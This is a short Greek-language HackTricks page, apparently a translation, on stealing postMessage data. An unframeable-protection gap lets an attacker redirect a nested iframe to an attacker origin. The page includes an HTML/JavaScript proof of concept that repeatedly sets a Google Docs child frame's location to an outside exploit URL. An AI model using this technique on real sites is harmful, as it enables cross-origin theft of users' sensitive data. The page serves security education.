Steal postmessage modifying iframe location

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Αλλαγή τοποθεσιών παιδικών iframes

Σύμφωνα με αυτήν την ανάλυση, αν μπορείτε να ενσωματώσετε μια ιστοσελίδα με ένα iframe χωρίς το X-Frame-Header που περιέχει ένα άλλο iframe, μπορείτε να αλλάξετε την τοποθεσία αυτού του παιδικού iframe.

Για παράδειγμα, αν η abc.com έχει την efg.com ως iframe και η abc.com δεν έχει το X-Frame header, μπορώ να αλλάξω την efg.com σε evil.com cross origin χρησιμοποιώντας, frames.location.

Αυτό είναι ιδιαίτερα χρήσιμο στα postMessages επειδή αν μια σελίδα αποστέλλει ευαίσθητα δεδομένα χρησιμοποιώντας ένα wildcard όπως windowRef.postmessage("","*") είναι δυνατόν να αλλάξετε την τοποθεσία του σχετικού iframe (παιδί ή γονέα) σε μια τοποθεσία που ελέγχεται από τον επιτιθέμενο και να κλέψετε αυτά τα δεδομένα.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated